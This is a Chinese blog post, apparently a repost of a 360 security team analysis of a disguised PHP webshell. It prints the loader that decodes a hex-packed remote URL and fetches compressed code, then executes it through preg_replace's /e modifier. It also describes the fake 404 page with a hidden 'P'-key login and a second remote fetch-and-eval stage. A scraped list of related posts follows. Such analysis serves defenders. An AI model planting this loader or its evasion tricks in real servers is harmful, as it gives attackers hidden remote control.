在线php后门查找,一款猥琐的PHP后门分析
近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。
Webshell代码如下:<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
关键看下面这句代码,sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())
这里执行之后其实是一张图片,解密出来的图片地址如下:http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649));
?>
如图所示:
分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…),其实整个webshell就一个class外加三个function,如图
首先我先看一下它的前端html代码,其中有这么一段js程序document.onkeydown = function(e) {
vartheEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$("login").style.display = "block"
}
}
这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键
所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:
再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:
再看init()的逻辑
如图所示,先看这句代码$true =
@gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59'), $_POST['key'], true)));
根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')),$_POST['key'] , true))
所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE[‘key’],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下function callback() {
varjson = eval("(" + this.responseText + ")");
if (json.status=='on'){
window.location.reload();
return;
}
if (json.notice) {
$("notice").style.display = "block";
$("notice").innerHTML = json.notice;
sideOut();
}
}
这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示
这里跟前面POST的逻辑一样,下面当判断为’true’以后,这里又请求了一张图片,pack出来地址为http://2012heike.googlecode.com/svn/trunk/code.jpg,然后调用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容,
登陆成功之后如图所示:
总结:
这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!
在线php后门查找,一款猥琐的PHP后门分析相关推荐
- PHP后门新玩法:一款猥琐的PHP后门分析
近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣.接下来就让我们一同共赏这 ...
- 一款猥琐的PHP后门分析
Webshell代码如下: <?php error_reporting(0); session_start(); header("Content-type:text/html;char ...
- (转)无特征过狗一句话猥琐思路
0×01 姿势一 我们知道PHP动态函数很有意思,那么你猜到了,姿势一就是: <?php$_POST['xx']($_POST['oo']);?> 注意XX参数设置成EVAL是不行的哦, ...
- 你认识的老罗又回来了!罗永浩:我的创造力才刚刚开始猥琐发育
[TechWeb]昨日晚间,锤子科技CEO罗永浩在微博回复了大象公会创办人黄章晋的关于<吴晓波说罗永浩一个是梦太大,一个是入错行,吴主任说罗永浩深刻地改变了世界,请问你怎么评价他们的看法?> ...
- 猥琐思路复现Spring WebFlow远程代码执行
本文讲的是猥琐思路复现Spring WebFlow远程代码执行,说明:做安全的,思路不猥琐是日不下站的,必须变的猥琐起来,各种思路就会在你脑海中迸发. 1.不温不火的漏洞 这个漏洞在六月份的时候就被提 ...
- 在线VLOOKUP数据查找工具
在线VLOOKUP数据查找工具 在线VLOOKUP数据查找工具 本工具可以实现类似Excel中的VLOOKUP函数的纵向查找功能. 将需要每行查询的数据从Excel复制到表一,需要参考的数据复制到表二 ...
- php webshell 分析,一款奇葩的PHP Webshell后门分析
近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣.接下来就让我们一同共赏这 ...
- 不宜猥琐惊世人 猥琐哥横空出世
传说中的猥琐哥,横空出世,见得着光的.... 不要迷恋哥,哥其实就是有点小猥琐 猥琐世人难为谈,侃侃而谈为萎缩 其实哥的内心世界里面一直充满着这样的幻想,有一天能能笑着对你说"哥,嫁给姐吧! ...
- 编写一个猥琐的反爬虫系统是种怎样的体验
我们所处的互联网, 是一个爬虫的世界.任何一个小公司,小团队,甚至一个应届毕业生,都有可能编写爬虫,偷偷的获取数据. 当你看到"爬虫"两个字的时候, 就应该有点血脉贲张的感觉了. ...
最新文章
- Java常用四大线程池用法以及ThreadPoolExecutor详解
- 【Deep Learning笔记】卷积神经网络必须要掌握的知识(看不懂你来打我)
- vue 生命周期_Vue 生命周期
- 计算机PMA,PMA通信协议分析及仿真工具
- SWPU第一届APP程序设计大赛筹备工作
- python sqlite3 增删改查(最基本的增删改查)
- 《数学之美》—信息的度量和作用
- 灵棋排盘:一款让人感到惊喜的命理排盘工具
- LM393(寻迹原理)
- 基于python的计算基因组_【ROSALIND】【练Python,学生信】05 计算DNA序列GC含量
- CTS 使用instrumentation命令测试
- win10计算机文件夹隐藏,Win10如何查看隐藏文件夹和文件 Win10显示隐藏文件夹或文件方法...
- Python | GUI | Tkinter - 1. 基本控件
- Codeforces Round #545 (Div. 2) C. Skyscrapers
- Nacos 日志文件堆满磁盘空间处理方案
- Unity手游优化总概
- 查看是否安装了VC++ 2015-2019 Redistributeable
- 仿系统闹钟,实现更新安装之后还可以响铃,开机启动功能需要手机自带开机自启动
- android陌陌权限申请实现,Hook实现Android 微信,陌陌 ,探探位置模拟
- kali Linux单用户模式的退出方法
热门文章
- 2021软科计算机科学与技术,2021软科排名,NTU 十学科跻身世界前十!
- excel就绪筛选模式_Excel自动筛选器显示筛选器模式
- 【C++模板】类模板的全部特例化和局部特例化(偏特化-partial specialization)
- 【高等数学】(底数>1和底数<1的)幂函数的图像
- 如何将立创 EDA 的封装导入到 AD/PADS 软件中
- Linux 查看最耗费资源的几个进程
- openvino CvCapture_MSMF::initStream Failed to set mediaType (unsupported media type)
- GitHub热门项目 | PyTorch 资源大全,7400多星
- 微信支付宝个人收款将于2022年3月1日起被禁止用于经营收款
- 使用PuTTY上传和下载文件